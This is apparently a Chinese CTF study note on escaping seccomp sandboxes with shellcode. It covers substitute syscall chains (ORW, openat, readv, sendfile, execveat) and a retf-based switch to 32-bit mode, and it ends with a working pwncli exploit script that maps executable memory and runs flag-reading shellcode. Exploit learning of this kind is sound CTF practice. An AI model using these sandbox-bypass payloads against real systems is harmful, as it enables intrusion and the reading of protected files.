shellcode突破沙箱机制整理
当程序采用sandbox机制时, 有部分函数无法使用, 因此我们需要用特殊的方法来获取flag
常用函数调用链
open + read + write(最常用的ORW)
open + sendfile
open + mmap + write
…
使用 at/v/2/少见的 系统调用
- 使用
execveat代替execve,拿到shell后,使用shell内置命令读取flag:echo *; read FLAG < /flag;echo $FLAG,否则使用子shell执行命令还是会被沙箱杀死 - 使用
openat代替open。 - 使用
readv/writev代替read/write - 使用
mmap2代替mmap - 使用少见的系统调用, 如
sendfile
read / readv 参数设置
1ssize_t read(int fd, void *buf, size_t count);2ssize_t readv(int fd, const struct iovec *iov, int iovcnt);write / writev 参数设置
1ssize_t write(int fd, const void *buf, size_t count);2ssize_t writev(int fd, const struct iovec *iov, int iovcnt);open / openat 参数设置
1int open(const char *pathname, int flags, mode_t mode);2int openat(int dirfd, const char *pathname, int flags, mode_t mode);execve / execveat 参数设置
1int execve(const char *pathname, char *const argv[], char *const envp[]);2int execveat(int dirfd, const char *pathname, char *const argv[], char *const envp[], int flags);mmap / mmap2 参数设置
1void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);2void *mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t offset / 4096);其它
1ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);在实际使用中, 我们常设置以下函数具体参数
1execve("/bin/sh",0,0)2execveat(-100,"/bin/sh",0,0,0)1open("/flag",0)2openat(-100,"/flag",0)1read(3,读入地址,0x1000)2readv(3,伪造的iov地址,1)3// iov.iov_base = 读入地址;4// iov.iov_len = 0x1000;1write(1,输出地址,0x1000)2writev(1,伪造的iov地址,1)3// iov.iov_base = 输出地址;4// iov.iov_len = 0x1000;1mmap(映射地址,0x1000,3,0x2,3,0)2// 从/flag映射到地址中,prot设置为3意为可读可写,flag设置为0x23mmap(映射地址,0x1000,7,0x22,-1,0)4// 设置映射地址为可读可写可执行1sendfile(1,3,0,0x1000)切换指令模式
由于amd64兼容于i386, 因此若64位程序开启了沙箱, 禁用了能利用的函数, 且不对架构做检测, 我们可以尝试设置程序为32位, 然后打32位shellcode


直接打shellcode就能出, 但是存在沙箱, 沙箱未检测架构
决定了是哪种工作模式的是cs寄存器**(cs=0x23 则为32位工作模式,cs=0x33 则为64位工作模式)**, 我们可以用retf指令来控制cs寄存器
retf这个指令是相当于pop eip; pop cs
因此在shellcode利用retf指令前, 应该在栈中设置好eip和cs, 由于这两个寄存器都是4字节的, 因此两个值只需要占用一个栈地址
因此我们先mmap出一个区域可以注入32位shellcode(地址存储到eip中). 随后调用read输入32位shellcode
随后调用retf, 控制cs和rip, 需要注意的是, 六字节的栈地址在32位工作模式下无法识别, 因此要同步迁移esp到这个区域
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
26 collapsed lines
16leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))17x64 = lambda msb: u64(ru(msb)[-6:].ljust(8,b'\x00'))18
19shell1 = asm('''20 mov rdi,0x1000000021 mov rsi,0x1000022 mov rdx,723 mov r10,0x2124 mov rax,925 syscall26
27 mov rdi,028 mov rsi,0x1000000029 mov rdx,0x100030 mov rax,031 syscall32
33 mov rdi,0x000000231000000034 push rdi35''') + b"\xcb"36s(shell1)37pause()38shell2 = asm('mov rsp,0x10001000')+ShellcodeMall.i386.cat_flag39s(shell2)40
41ia()\xcb就是retf, retf后eip被设置为0x10000000, cs被设置为0x23